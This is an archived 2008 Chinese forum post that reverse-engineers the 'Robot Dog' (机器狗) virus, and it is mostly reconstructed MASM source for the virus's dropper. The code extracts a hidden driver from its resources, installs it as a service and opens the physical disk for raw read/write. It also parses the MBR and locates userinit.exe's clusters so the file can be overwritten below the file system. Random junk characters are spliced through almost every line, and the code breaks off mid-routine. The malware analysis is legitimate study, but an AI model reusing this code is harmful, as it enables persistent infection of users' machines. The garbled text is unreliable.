我爱电脑技术论坛's Archiver

qh78560 发表于 2008-3-28 09:28

逆向解毒机器狗

标 题: 逆向解毒机器狗&s!Sg5oz(b XE2W
作 者: xcode[3@9R M2w?C"fz
网 站:[url]http://edu.teamsourcing.com.cn[/url]
i.a Q@)odR6M 8j:cCB5cUDGD;[+C
这两天得到了一个机器狗的病毒样本,周末闲来无事,便有了此篇文章。2@?9E8m9_
该病毒的壳是一种压缩壳,采用esp定律即可解决。由于不是本文重点,因此在此不作讨论。hu5Gpn,v0] eH)o
该病毒主要包含两部分,一部分是隐藏于exe资源中的驱动文件。另一部分就是exe本身。为了避免不法分子将代码用于他途,在此只公开exe的逆向还原代码。 代码如下:?'I q.^&mR'ws
.386btc%y^0O)@^
.model flat,stdcallm*o8I$Us
option casemap:nonedQWV9n
vM9Pf(bq1m$n
include windows.incV~#t.mH/Q*R|#g:M
include user32.inc/Kq+{)J/K&N}q
include kernel32.inc
P._;v!XcUl1m+p include advapi32.incU0x_NNw%uVX
includelib advapi32.lib
Ys'sO Nt#C includelib user32.lib9O7IM!N!Mk\
includelib kernel32.lib SK!S!z\.r

o0N)]V5}Gd-i .data @@F)iN.z
Text            db '对不起,驱动程序的加载没有成功,程序将无法运行.',0k6}'C ?_EQ2]
FileName        db '\\.\PhysicalHardDisk0',05f+qq*B&N
a_Physicaldrive  db '\\.\PhysicalDrive0',0
l%u_)Q$A:r aFCJ            db '分配内存不成功',0
}&A+@~Wdr.\H OutputString    db '操作成功', 0
)T0Z6n|%l#t)Ly Dst             db 10Ch dup(0)
6k1I|1|(^@;{v ~ G.w hModule         dd 05R/wS*s{[1C+ILmc
ERR1            db '寻址文件不成功',0  
2Ru [1D3Hxz)@@6L] ERR2            db '不支持的磁盘分区',0
7\+OH6Itf h*G ERR3            db '第一个分区不是启动分区',0Q2`]O4bpX!R4q}
ERR4            db '该文件是压缩文件,不能操作',0c'y_!C0s
ERR5            db '获取文件原始信息失败',0"h(fL6Ni? m ~E
ERR6            db '打开文件失败',02J1{t#`']Si!M
ERR7            db '加载驱动失败',0vlgsDQB"S

b-W;Yr*[0zZ4L .code
To a l*} \(f ~'iD%LrB V(L
Src             db '%SystemRoot%\system32\drivers\pcihdd.sys',0E |8g bI/N!A
ServiceName     db 'PciHdd',0:^%Wo?3Ar
7sikkv v
;**********************************************************************************************%lgmC%jd%c]
;退出服务,并删除文件
vKEu DU ;**********************************************************************************************'c-Z6J(o Q5RG
QuitService proc
a c0Wy"L CRL EL   LOCAL ServiceStatus2YzrC Uw
  LOCAL hSCObject
Zyt0J ]}m   LOCAL hSCManager&W7x {$J-uQ6~d
  LOCAL @FileName[100h]:byte
%L4bH$hW}9D   
*`?;Z"Vl|   W9l"l6`*v0K5r`
  push  0F003Fh    ; dwDesiredAccess
A!~;\3q0eeO W`4w   push  0    ; lpDatabaseName
ZTL5J4Og   push  0    ; lpMachineName'tq/KY5G@
  call  OpenSCManagerA
u0Wp? G(iR   or  eax, eax
~T-L-U+de   jz  OpenSCManagerFail
R z!_M.[3B   mov  hSCManager, eaxx{0xa+i RE)R'V6]
  
!H |R4zKDb)g[mM   push  0F01FFh    ; dwDesiredAccess4z~$d)qeN F
  push  offset ServiceName ; "PciHdd"
oT3tP1}Ze!^8c|!a P'p   push  hSCManager ; hSCManager
br w.PO0bol)L;v   call  OpenServiceA*zV$OF4O
  or  eax, eax
V&D ^VJa%vL]   jz  OpenServiceFail
/}$|?,a7x   mov  hSCObject, eax
6f#|1PNg#m   lea  eax, ServiceStatus
|6o/M2OF IM   push  eax    ; lpServiceStatusMmqh:E"u2We4?
  push  1    ; dwControl
7L#]2FZmB g   push  hSCObject  ; hService)t/_WgT6Qv
  call  ControlService
-~H8JktU)y   
@V2@1u KBn]s   push  hSCObject  ; hService4O4RQKq2{iN7?y/uz-C
  call  DeleteService
Pi9j*o@:gY7]   
r'\D { `%D(h%hz   push  hSCObject  ; hSCObject
NVwd(o7t.zI!]+L9l(E   call  CloseServiceHandle
7I^#C!A#TW   
0pU0f'i$b OpenServiceFail:    ; hSCObjectaM%r#Z6n)d5J}uh7|
  push  hSCManager
N%^0G3W$EGVr{0K   call  CloseServiceHandle
L bh |f2`   
3p-rO;v3Of OpenSCManagerFail:    ; nSizeL2xG;QD&^
  push  100hP?DR*ppm pP
  lea  eax, @FileNameN)] an;ZJm
  push  eax    ; lpDst
aj$u5u|i,z   push  offset Src  ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
7_4rbV%d   call  ExpandEnvironmentStringsA0V)oj5NCL4R!L
  g g4f"{f+K i
  lea  eax, @FileNameMB)n ] lL
  push  eax    ; lpFileName
4S2j YF4Npv   call  DeleteFileA
{K)FM!P5mC W&H   ret
{#urmJ:|9f{4r QuitService endp
IiA1dE'^ -z|4L:|0F6D
;**********************************************************************************************r5?3I PQ9@\+Sr.Tm w
;从资源中加载二进制内容写入文件,并将文件写入环境变量,然后启动服务,最后去掉环境变量,删除文件
J3x&s/{;~ ;**********************************************************************************************
h sn| u7sPF#Wn LoadServiceFromRes proc  
"]u7SP2kw"QUXD"W K'U.y6KMk;x#]
  LOCAL ServiceStatus&x tCx&d%[
  LOCAL hSCObject"@9U}Cn f.G ~A
  LOCAL hSCManager
B#y]5c$w:{"Tq+o   LOCAL nNumberOfBytesToWrite-W,cBY(x;x;a
  LOCAL lpBuffer
mh'Y$ES9o(ZL7{D   LOCAL hResInfo^(Uyedao,RSg
  LOCAL @FileName[110h]:byte
MTdU.q&sn   LOCAL hObject
e }O@(PgE"f   LOCAL NumberOfBytesWrittenGQn_Yg
  
5T5q C p{4Z#G   push  3E9h    ; lpType
L*U ^ ]#QUBx{   push  3E9h    ; lpName5j[%aW:uPy A T2WzL
  push  hModule    ; hModule
9oEf&gM4g w|   call  FindResourceA
j0} Gb8HR n4PN9Z+?9] O   or  eax, eax(Jk b6f4|2Zp ypu
  jz  failed0K$F-_Bu)x ? k
  I*_/z @ P
  mov  hResInfo,  eax
HL3v,i2zYV   push  eax    ; hResInfov?n.A u
  push  hModule    ; hModule
R.p3b8CBA9jd   call  SizeofResource ~L$L?tO#d$^L
  mov  nNumberOfBytesToWrite, eax GKn;u3gv%RB `P
  
mV#B,\-`c/l{9p1\   push  hResInfo  ; hResInfoYQ6_g ~
  push  hModule    ; hModuleA4l}9Lto3rr tK(J
  call  LoadResource
4kn2}D,_#s v9t^   or  eax, eaxl,L7x%t5n%`d,t
  jz  failed g;H:Z0G"I
  `5bd1J_/Z$J
  push  eax    ; hResData
y J%\T#p4oF"~e2ys   call  LockResource*Ih J3B[i
  or  eax, eax5l4f&vSC(|6w
  jz  failed
E&P'RAC#[   mov  lpBuffer,  eax
W%i2|:uX3B5_   
9HI'l|^fw failed:
r1VY;lt8?ei'g/p   or  eax, eax
Bg tI#\3P C2R Q   jnz  CONTINUE6Te~ ebe
  jmp  Exit
:OaG-bAM7o&M   *F#M3p_*V
CONTINUE:    ; nSize5} Yuc9Q5I1OW{
  push  100h
w&Uk.As\.N   lea  eax, @FileName i3U!L?)qZ+Qa
  push  eax    ; lpDst
Q"J-{1Hdl   push  offset Src  ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
\T%M Kbmm   call  ExpandEnvironmentStringsA
.B2R L+cbE2s!ii   
oy+i2s"]-s1n   push  0    ; hTemplateFile
yO2_Qjq m   push  80h    ; dwFlagsAndAttributes
?&zT_)J`7B   push  4    ; dwCreationDisposition
?,UvuP4T[8i2L   push  0    ; lpSecurityAttributesV)N1Q!wbL%c3j
  push  0    ; dwShareMode9M\C2c8a.c$NA
  push  40000000h  ; dwDesiredAccess
f%mD$M-fq@ E;b   lea  eax, @FileName
&cEe7X'q7z].o   push  eax    ; lpFileName
@8};j8D7P Bh   call  CreateFileA
O5Nb*t'n2}$~P;D!n   cmp  eax, 0FFFFFFFFhjny7E0jH7ws8X
  jnz  short CREATEFILEOK
a4vN^n3m   jmp  Exit
_J V;v zH7[   bg1@9kKr]&wl
CREATEFILEOK:$}+Ke*F!Z7e5Pzk
  mov  hObject, eax
L&b x R$F   push  0    ; lpOverlappedi:DnNzp`l8{t%a
  lea  eax, NumberOfBytesWritten'\O7XK+s
  push  eax    ; lpNumberOfBytesWritten
p+o(? Qj   push  nNumberOfBytesToWrite ; nNumberOfBytesToWrite8{1Z?Hib;]["f$At
  push  lpBuffer  ; lpBuffer
'f[0y9JU\F(_?0i'B   push  hObject   ; hFile
-j H6S8~&?aC   call  WriteFile vV'oU/vN%X A8`
  *Z5Dk*zvq
  push  hObject          ; hFile
$I!RB:UFg7iP   call  SetEndOfFile
RRw A"e~   M A$El$o-]m kg
  push  hObject    ; hFile
bQZ \jem   call  FlushFileBufferswmeKl*R,e\
  push  hObject   ; hObjecte.Y?p/Fk4p
  call  CloseHandleb7_(J'i5cz+G|
         
+F{@Vq`&].~   push  0F003Fh         ; dwDesiredAccess7K,~'` |$ks`"?
  push  0    ; lpDatabaseName
ez\zD2@   push  0    ; lpMachineName_+O4K4c{Y*zw
  call  OpenSCManagerA(O@jkYW
  or  eax, eaxN D#f/@nhT;dE4C
  jz  OpenSCManagerFailed {"l*s4I2b
  mov  hSCManager, eax,?R~N4R'?
  2V C|5D9C0G
  push  0    ; lpPassword
r? Q1z4O2b_p   push  0    ; lpServiceStartName4O}K$y!{;Q"b?j1Aj
  push  0    ; lpDependencies9J:_ f#u Y'x{.ND
  push  0    ; lpdwTagId
}!?+?c?:R   push  0    ; lpLoadOrderGroup
B7q!ar:zf ij]ze   lea  eax, @FileName
/iu6?3oHY&{   push  eax    ; lpBinaryPathNamej7Lm0vJ
  push  0    ; dwErrorControl
KO*J A4c-IT2M   push  3    ; dwStartType$zuBduVA
  push  1    ; dwServiceType
%d$zd5tBil*F6j   push  0    ; dwDesiredAccess
7xV0nGl#Bmf$`;N$R   push  offset ServiceName ; "PciHdd"|b3HQk}B"n[.Q"O
  push  offset ServiceName ; "PciHdd"
.{;o[3[b   push  hSCManager      ; hSCManagerh)N%~ a:^!a
  call  CreateServiceAEh V9]qiZ1YAdb
  or  eax, eax
&{K;B,U]l.Ly9C   jz  CreateServiceFailed;g3Ytg1?;l(K'_8aH
  mov  hSCObject, eax
*|'X[QPH'EQUl   push  hSCObject  ; hSCObject
Vx{$Mf+]+P   call  CloseServiceHandle
F7M#J&v-C q8U@m   jmp  OPENSERVICE:Yg|3JV
  
3bZ.Np-Iz7MNT DZ6R CreateServiceFailed:   
B$t? |:[J(K a4z   push  0F01FFh            ; dwDesiredAccess
R S!Eyg1I   push  offset ServiceName ; "PciHdd"
G/U/W$v5Qx)yA!WI"B   push  hSCManager      ; hSCManager
3e{#IM5fEd$_9oV   call  OpenServiceA_.e Lo5l5a
  or  eax, eax
&K@c.[$G kA1]   jz  short OpenServiceFailed
|*R'a-~wMeA1p   mov  hSCObject, eax U1s9J:V`)y1wK
  lea  eax, ServiceStatus
nL4NCk   push  eax    ; lpServiceStatus,ml2`%^/?Y8R;u
  push  1    ; dwControl
%trYUO   push  hSCObject  ; hService4eU1X7].X
  call  ControlService+d#z-E:Z ?4ep
  push  hSCObject  ; hService
,_gI-`?;d\z   call  DeleteService3umlEZ_O8Z1~'Hw
  push  hSCObject  ; hSCObject
M4m4Z$K#j|}   call  CloseServiceHandle
n!F6Nx"_0SM,_   :|4}zS7? {E{q'a
OpenServiceFailed:    "x x5H Gw6~V*n*g
  push  0               ; lpPassword
s }0M1p@N_~   push  0    ; lpServiceStartName
4z6K9Z!O1s6j;AxR   push  0    ; lpDependencies,A)gvp.A A%ui6l
  push  0    ; lpdwTagIdFp9N h @1^JAoO
  push  0    ; lpLoadOrderGroupuO6I^o"o&OuD.o+X Jo
  lea  eax, @FileName5G IQB$Rj In,Y
  push  eax    ; lpBinaryPathName
Iu"{\]"@   push  0    ; dwErrorControl
#|#uv'wYKH1m   push  3    ; dwStartType;R f"_)P&D P
  push  1    ; dwServiceTypeh[us Yh
  push  0    ; dwDesiredAccess
'g#N.x,xGr   push  offset ServiceName ; "PciHdd"gp9Vl/{nU
  push  offset ServiceName ; "PciHdd"
o(ZYTMaZ@1^   push  hSCManager ; hSCManager
h0d{-G Iu0y$U   call  CreateServiceA
lI$t6EJCo   or  eax, eax
d y|"V0sj#C   jz  QUIT
;V4j%Xm4o_(G   mov  hSCObject, eax
n["KBE sC @9A ev   push  hSCObject  ; hSCObjectCs? z3UW,r
  call  CloseServiceHandle
O:F-U4S?P H   jmp  OPENSERVICE
C"aj6q#y\   
rOGcKy(o#i*k QUIT:
:LqmP(^WzRN   jmp  Exit
!F @7X(?,@p!s   
'^"J[Ou:o OPENSERVICE:    ;KZ{Cg5bJpg
  push  10h                ; dwDesiredAccessU%Z}M}
  push  offset ServiceName ; "PciHdd"
{I6Ob6E@   push  hSCManager ; hSCManager ws tfH3X,^7mS WP
  call  OpenServiceA |)Sp UB.`
  or  eax, eax
o.q4t7Y o   jz  OPENSERVICEFAILED
4L `H Y6@   mov  hSCObject, eax
mOaZb!H   push  0    ; lpServiceArgVectors
Xc1J`(AS   push  0    ; dwNumServiceArgs
B b3IDU_%T WR*_ [O`   push  hSCObject  ; hService
.rl9n~Y;?B   call  StartServiceAh C?1wI%b`Pv,Q
  or  eax, eax
D;zf ~Xx1U   jnz  StartServiceOK U)|(_e2h i#J/k?
  jmp  Exit?$h5O ^&z+^e
  
}%i,OD1h.Aw+D StartServiceOK:    ; hSCObjectLV}WmrA'e
  push  hSCObject
c;X,E+U:pCI/?   call  CloseServiceHandle
`9k!j1i0}'nf q   push  hSCManager ; hSCObject C}3JWGmd)B e
  call  CloseServiceHandle
7h2w[T ?:p){{   jmp  OpenSCManagerFailed
$ovL*B8S3j!ys&a   
"Z1G a Oc:`z @9j&@ OPENSERVICEFAILED:   
]:A+D `n   push  hSCManager
1E/o/y;oxi(KY   call  CloseServiceHandle+RFm e k.S2wgW(u'DB
  jmp  Exit4e$y6Y7t3Rh'\
  
QH n LZ6P OpenSCManagerFailed:    ; nSize"XT^eA ^\/fy
  push  100h
[/Y5@9O6u   lea  eax, @FileName
y;}/|Z4J%_ p}D   push  eax    ; lpDst
'M!t8L_i~P:Y   push  offset Src  ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
+ZL2rv&x[i)`   call  ExpandEnvironmentStringsAJJ(q D/@c k2G8q(e
  lea  eax, @FileName7~ } gMx'CH:|
  push  eax    ; lpFileName
}TO0Y)Lb J   call  DeleteFileA
0Vu(]lm[   retExxD:FT)v
  
K2Rv)y,L3DtM Exit:   
!@2Y uY(v1OT   push  10h
h uHHwM   push  0    ; lpCaption
;wCJu#? z7hhJ   push  offset Text  ; "出错"-R4?$S v8pb4[
  push  0    ; hWnd
5s/Gd7tBf#I   call  MessageBoxA
aTZ/AK   push  0    ; uExitCodeaT&rd U+g
  call  ExitProcess,AT0|:vf&{m
LoadServiceFromRes  endpSi th ~.JSK{

,O^ W$T ip*@8F aSystemrootSyst  db '%SystemRoot%\System32\Userinit.exe',0Kth,zaqi|[R
;***************************************************************************************************************$oFNZ(J(e t'OW\Q
;簇是磁盘使用的基本单元。 组成一个簇的扇区数总是2的幂数,当卷被格式化时此数值是固定的。 此数值称为簇要素,j&U;ke;~ z9A-c0]R
;通常用字节引用,如8KB,2KB。 NTFS通过每件事的逻辑簇数来寻址。7@Y4h0t o;R&G
;逻辑簇数(LCN):卷里的每个簇都给定了一个顺序号,这是它的逻辑簇数。LCN0(零)指向卷的第一个簇(引导扇区)。?lYy!lYW
;                用LCN乘以簇的大小就可以算出在卷里的物理偏移量。
s$sY XMg;o~ ;
o7y.Z Q-]C?Z.]"s*l @ ;实际簇数(VCN):一个非常驻的流的每个簇都给定了一个顺序号,这是它的实际簇数。VCN0(零)指向这个流的第一个簇。.p#y,@m?7CQCi4B l
;               要定位磁盘上的流,就必须把VCN转换成LCN.这是在数据运转的帮助下完成的。z$D ~1{i_ Q
;(P6zyVV"Z j6{
;数据运转:每个LCN的连续模块都被赋予了一个数据运转,它包含一个VCN,一个LCN和一个长度。
/bR*]hVD?3xj V ;         当NTFS需要在磁盘上找到一个对象时,就查看数据运转中的VCN来得到LCN。
f p8e"q&k)?a#HWf Lo'\a2L:}lsOg/J
;其他信息:
@J;ft%X(XFG9y ; 1)当卷被格式化时可以选择簇的大小。
2W:nA{#JtM$M ; 2)一个卷的簇的大小存储在$Boot里。也定义了此值在一个MFT文件记录和一个索引记录的簇里。
"LU?|Q/r ; 3)如果扇区数在用,NTFS通过引用簇数可以寻址更大的磁盘。
p3Wk5N-Oc I7c #fx)o B#p!uY
;下面是一个关于允许和默认簇的大小的列表:
t3z%l$DRI{-e ^ @1X-T.V-pY tr8k9\]QOq
;Windows NT7uLvjf0@
;    512 bytes, 1KB, 2KB or 4KB
$ce ^ TXVyrUK ;Windows 2000, Windows XP
_W+N,j y ;   512 bytes, 1KB, 2KB, 4KB, 8KB, 16KB, 32KB or 64KBl9nuLt#qX/TU p4s

NH2ru jT,jKi#b d ;卷的大小   默认的簇的大小v:`/_3{S G qh
;< 512MB   Sector size
pt-K-n{ ;< 1GB    1KBI)Q2~k TO(f;B2A
;< 2GB    2KB
1O7K K? Yz5W ;> 2GB    4KB@5D`m6V/`\y
;***************************************************************************************************************
;yeaZ(jP DoMyWork proc  lpFileName   ;成功返回值为0+D6G+daR'a(ev
  
Qz4\.[@q   LOCAL lpBuffer
MG]F)sE   LOCAL nNumberOfBytesToWrite6Z&G/x?%c E
  LOCAL hDevice
azc/F9V~   LOCAL lDistanceToMove
vvn#Vx c   LOCAL HighOffset;i`K:v0l6^L&o8Z
  LOCAL dwLowPartofLcn4tz*Oq)A3L
  LOCAL dwHighPartofLcn
1I6L Z*T lZA   LOCAL StartSectorC
4i8r3{&\~0{h.e   LOCAL hFileI3WW4E2` }qY9`
  LOCAL PhysicalBuff[512]:BYTE0{.ROtt
  LOCAL Buffer[512]:BYTE
@%D#^@9e   LOCAL OutBuffer[272]:BYTE
0m~1|3K#z o*] BM.t3H   LOCAL dwRet
EY+A0[g Qm\7?   LOCAL DistanceToMoveHigh:DWORDlA:N9dY6d0J
  LOCAL InBuffer[8]:BYTE
3Kb:B VP-E(i+QN   LOCAL hObject/Di ~CB'H0f*e
   n'iAX6`$Ts9D[
  pusha
'cf3I,DiE   push  0    ; hTemplateFile&U a[XA [
  push  0    ; dwFlagsAndAttributes
V+_&I'wq dk   push  3    ; dwCreationDisposition&qK V%r&\L
  push  0    ; lpSecurityAttributes,H-g$B dbA
  push  0    ; dwShareModew4E'a5aG/^f
  push  80000000h  ; dwDesiredAccess^dMT;y
  push  offset FileName  ; "\\\\.\\PhysicalHardDisk0" 是pcihdd.sys创建的符号链接
C2R \(tG0^-L6B-_   call  CreateFileA
_*g6L;M)sci:_   cmp  eax, 0FFFFFFFFh$R3?*GR `3``1z
  jz  CreateFileFailed9KET4d8|W&h0s
  mov  hDevice, eax
"Eb N,r@ ]5Wf   
K#\6HODMJ3u7k f-} e   push  0    ; hTemplateFile
hp`h.X0D&TW S8S   push  20000000h  ; dwFlagsAndAttributesG {A%I/|%n Xty{
  push  3    ; dwCreationDisposition
W9a/U3A8eN   push  0    ; lpSecurityAttributes
!vUR3F3]   push  3    ; dwShareMode
:Sn-e9o.D2u   push  80000000h  ; dwDesiredAccessWwd0s7N
  push  lpFileName  ; 打开userinit.exe9_Cr X$F:u\@
  call  CreateFileA
j ?A0mg8ZbB   cmp  eax, 0FFFFFFFFh
z4},~VrXd   jz  CreateUserInitFileFailed
aHFR9o5gJ/i   mov  hObject, eax+}$ITj4~k]t3v
  
*lb+jUK? \p6f         push    81e'PcS)X la
        lea     eax,InBuffermR+I M"G
        push    eaxg&p'm"mWw
        call    RtlZeroMemory
*zy{2Zi#r1k   '_v!} n(A-UJbJ"[
  push  110h            ;初始化
C;]NR'n2TT:pfH   lea  eax, OutBuffer
;|1y'o)p$`PA6c4k F   push  eax
)gi:l8kJv8m6b   call  RtlZeroMemory&aH9I G+tJ7P*Xc a
  e*N-A5f%g ]
  push  0    ; lpOverlapped
!}8I8X{bt2]   lea  eax, DistanceToMoveHigho['e@M^ Po8bl2n m:`
  push  eax    ; lpBytesReturned
^b/H{lP9a"S   push  110h    ; nOutBufferSize
6gKa5Xo&U/N7t   lea  eax, OutBuffer
1oH.z0] |`6w&RpM   push  eax    ; lpOutBuffer ceDL1c8~U2]
  push  8    ; nInBufferSize
M\.IN|/Hx?   lea  eax, InBuffer
pw'gW$FY   push  eax    ; lpInBuffer B+sPF:Z[1D i]#}b
  push  90073h    ; dwIoControlCode = FSCTL_GET_RETRIEVAL_POINTERS
Y q0E6M(v;X.` A   push  hObject   ; hDevicek(Q`9f|
  call  DeviceIoControl ;通过FSCTL_GET_RETRIEVAL_POINTERS获取userinit文件数据的分布信息
#}&y Q%u9u#n^O5R+v   or  eax, eax)R;[u`2T
  jz  DeviceIoControlFailed
W0S7p#F]Wz   
q7{4c8qZR%~ ;这个结构是8字节对齐的,结构长度32字节  AE8K9hgI3V+^*?
;typedef struct RETRIEVAL_POINTERS_BUFFER
cGQmZ'J ;{E9H6m}8f~{ J
;    DWORD ExtentCount;
6B0m9e1d1Vn*^H1X ;    LARGE_INTEGER StartingVcn;;OE[:Od'a
;    struct
O R}%V xl ;    {
g r3XC2i*O2]O)I0^ ;        LARGE_INTEGER NextVcn;#{we-`$C I
;        LARGE_INTEGER Lcn;lI&i5~ YI
;    } Extents[1];
HX*W k^A ;} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;
r?zR'[(e 0c6X^/Q/dO^ p9D
;typedef union union !R7lc/No4J1K"?n
;{  .n@bbR W~cZ&A~P
;   struct
5S3AN#u@ ;   {   
_)~!k3DZZ*As)b b ;       DWORD LowPart;    }&ePv+Z9tY
;       LONG HighPart;  
w WR.@:c ~U ;   };  
D|(S2j3J)v8N/|,T x ;   LONGLONG QuadPart;C"?xuFCw!TR
;} LARGE_INTEGER, *PLARGE_INTEGER;W3^;dY.Rt-]p

3g/z"zww9Ka   
ja UH2\,p   lea  edi, OutBuffer    ;OutBuffer是上面结构体指针K1P3f.@w v'Dl
  mov  ebx, [edi]        ;ExtentCount = Extents数组元素个数$F,bWhZ5g#`
  lea  edi, [edi+10h]    ;指向Extents数组首地址,根据字节对齐
(|*I_/V |   mov  eax, DistanceToMoveHigh
I4B8V)m#{   or  ebx, ebx          ;判断ExtentCount是否为0$x1Yc9m _ h"d6m
  jz  ExtentCountIsZero (AdX!J/r
  &Q[m f[`V
  mov  eax, [edi+8]    ;指向Extents[0].Lcn.LowPart%m2s'D_VD;?m
  mov  edx, [edi+0Ch]  ;指向Extents[0].Lcn.HighPart;LG*n5]-@b
  cmp  eax, 0FFFFFFFFh
e3x+j5mN]:_,f   jz  FEIHUA
@q9GST1l*\$P]f   cmp  edx, 0FFFFFFFFhl#U3Y U+HdvW0}
  jz  FEIHUA
Ju| mC   [{kTCv#\9f#La o
  mov  dwLowPartofLcn, eax  ;保存lcn低32位(_._g qtM)P
  mov  dwHighPartofLcn, edx ;保存lcn高32位
5C&F8Jw;X0c   
O:C6Z` Y?Za   push  0    ; lpOverlapped)C3L-ir/A9H a
  lea  eax, DistanceToMoveHigh
A|;g4c7[%Vd   push  eax    ; lpNumberOfBytesRead
Z m&M zA^c@   push  200h    ; nNumberOfBytesToRead
m7Lq7Z,N-}   lea  eax, BufferGg c.v!b5x"r
  push  eax    ; lpBuffer
3B,rC6d_M9|   push  hObject          ; hFile
U vUM{ PT6c   call  ReadFile        ;读取userinit文件开头512字节Y7w!DH.]&S
  0I{7fmHn1t$M?6K,u&_
  push  hObject          ; hObject
,yBU]&W8Vf X   call  CloseHandle     \8o5P,F9mY1U
  mov  hObject, 0      ;关闭文件
Sq(i k%J8UT${td   "V_0Sh,r
  push  0    ; hTemplateFile.@4Q|] H#MawU
  push  0    ; dwFlagsAndAttributes`)@(i)CA7h&nrX
  push  3    ; dwCreationDisposition
0e ^@.F,p k&W   push  0    ; lpSecurityAttributes,j_h4lj6q-u!ig%\5o
  push  3    ; dwShareModez.Mvtg"Q su4@
  push  0C0000000h  ; dwDesiredAccess
}3Y4P?)Fy1Kxk   push  offset a_Physicaldrive ; "\\\\.\\PhysicalDrive0":m\`.w R7BwX
  call  CreateFileA        ;打开物理硬盘读写Wt(gS7llf
  cmp  eax, 0FFFFFFFFh4KS!s](SLr2N
  jz  OPENPHYSICSFAILED
T}~ e7l.OV   mov  hFile, eax;d8~ t$bh[
  
N``bv\   push  0    ; dwMoveMethod nz%J(W6A+O
  push  0    ; lpDistanceToMoveHigh
{R5[ LN4vJ3c a   push  0    ; lDistanceToMoveJ] sXZ c$u,d~q
  push  hFile          ; hFile
Q,W/T~ q [:o   call  SetFilePointer  ; 定位
U;E0iU$GOF   9W$q ~nXafS"R1{
  push  0    ; lpOverlapped
&e.yk{"^a+a   lea  eax, DistanceToMoveHigh
A Y:_ D)W.@jQw   push  eax    ; lpNumberOfBytesRead
:e4Gnx@:l'p*_'g   push  200h    ; nNumberOfBytesToRead
Y7o4tJ8zF_3YX P   lea  eax, PhysicalBuffGa3O(U{ K
  push  eax    ; lpBuffer8w})m'yW
  push  hFile          ; hFile z+X?!| V7?X
  call  ReadFile        ;读取硬盘主引导分区MBR
4}L E Z-n(~8j ;  j-G)r@)cU;k#S
;  0000 |------------------------------------------------|
6o]%k j aF9]#FS ;            |                                                | "IL6^?l:~
;            |                                                | beo7Nt
;            |             Master Boot Record                 |
TI1ys5yP.Y ;            |                                                |
*Q C?!bc^1BUx ;            |                                                | &Hg6oU$zk&pG1w? `
;            |             主引导记录(446字节)                | !@v? `(_9i:m
;            |                                                |
@9^%cn8A5[mi$Fp^C9P9^ ;            |                                                |
;MmJl7^2T|r,x/^ ;            |                                                | J/^0@wPg
;      01BD  |                                                |C]}(mq^ Y;T
;      01BE  |------------------------------------------------|
6ffW_rJ*oWAY ;            |                                                |e*Ki^x,?
;      01CD  |             分区信息  1(16字节)                | 4G`xmCD2f)b9J ]
;      01CE  |------------------------------------------------|
]P3|#s.b$l#_#?} ;            |                                                | Gv kns9i}XY
;      01DD  |             分区信息  2(16字节)                |
d Bg/j+O ;      01DE  |------------------------------------------------|
AB&`9u2X/pHb ;            |                                                |
+[T%ckW&\ ;      01ED  |             分区信息  3(16字节)                |
T eNY5A!X@ JcNZ1` ;      01EE  |------------------------------------------------| ] LuR%Bu%^-{ H
;            |                                                |
7?^aU3P-Nw ^&o!P ;      01FD  |             分区信息  4(16字节)                | ^H\~&v M
;            |------------------------------------------------|      { @^wvx$N7YI
;            | 01FE                | 01FF                     | q-v6xE A{%cSN'{
;            |         55          |           AA             |
\lx1?-t7F4o ;            |------------------------------------------------|
8@"TW/a7^6J1rC)f ;分区表
q,G3[jX'Re'\ ;
%xbkI pU1fC-o ;    分区表是一个链表,主分区表是分区链表的第一个节点。由于主分区表中只能分四个分区, 无法满足需求, 因此设计了一种扩展分区格式。扩展分区就是分区表的第二个节点到最后一个节点。
+x@T;D"g9eoJ@ q ;
j3A6H6F9UVV ;    主分区表是从主引导扇区第0x1BE字节开始的,共64个字节,最后是0x55AA。64个字节的分区信息分为四组,每16字节为一组。每组的数据结构是这样的:4\De C^r!c%k
;Ea;]9^h
;typedef struct
/kt7^Fp8Y{*c/k ;{
3m-HDW%}O![(n)@ ;    BYTE  byState;//分区状态, 0 = 未激活, 0x80 = 激活 A E,Xg8YmL
;    BYTE  byBeginHead;//分区起始磁头号
} b#e\ m ;    WORD  wBeginSC;//分区起始扇区和柱面号, 底字节的低6位为扇区号, 高2位为柱面号的第 9,10 位, 高字节为柱面号的低 8 位%kv9K1Fj9W^(Y
;    BYTE  byFSID;  //分区类型, 如 0x0B = FAT32, 0x83 = Linux 等, 00 表示此项未用,JA0m_#A VND8Y m#f*[
;    BYTE  byEndHead;//分区结束磁头号
'A#w+xp$[-GH)X/U n;t ;    WORD  wEndSC;//分区结束扇区和柱面号:H3G9{@;ty^(d(\
;    DWORD dwInfoAreaSectors;//在线性寻址方式下的分区相对扇区地址
%Q }^.n.i:V K9g]0u7V ;    DWORD dwSectors;//分区大小 (总扇区数)
9[ |f$Kyb ;} INFOAREA_PARAM;//磁盘的分区信息*h-^ee0p$g
Qx#`i4Ug%T\3a9G
  lea  edi, PhysicalBuff
r8v?:ZRR QdSv   cmp  byte ptr [edi+1BEh], 80h  ;byState判断是否为活动分区
l5F;`7a(J7B H   jnz  NOTACTIVEDISK
o7J~i5s;h@^ Wq   movzx  ebx, byte ptr [edi+1C2h]  ;byFSID判断分区类型
e!C7W!X?r$b   cmp  ebx, 0Bh XC3WN},U
  jz  FAT32                     ;Win95 FAT32 /W$r.yJC` j$yMG
  cmp  ebx, 0Ch
bb)N2fquRf   jz  FAT32                     ;Win95 FAT32 LBA[X~8_d7u%}&~
  cmp  ebx, 7?pi1_u6_G
  jnz  NTFS                      ;HPFS/NTFS^^+Y a:FKM2E
  
,A\/LxTx @-fw FAT32:;o gm^W%C}
  mov  eax, [edi+1C6h]          ;C盘起始扇区(首扇区的相对扇区号))y!I6U Pk&p8I
  mov  StartSectorC, eax$zin{ R7P3C
  xor  edx, edx Ja"@5X?5q_*]\
  imul  eax, 200h                ;求出实际的字节偏移)\!y{:A$tU1[ll9f
  mov  DistanceToMoveHigh, edx
`Gc0Z J\-?Cce   mov  ecx, eaxl6E P!^l"D.K
  x5bB1Pm,v4@+pp!p
  push  0    ; dwMoveMethod
[H?U[K9H E   lea  eax, DistanceToMoveHigh B/gD#Ae3H
  push  eax    ; lpDistanceToMoveHigh;xbv"ztJS&kVFG
  push  ecx    ; lDistanceToMovesj\]%g9Z;E
  push  hFile          ; hFile8{$e!`dc:v{
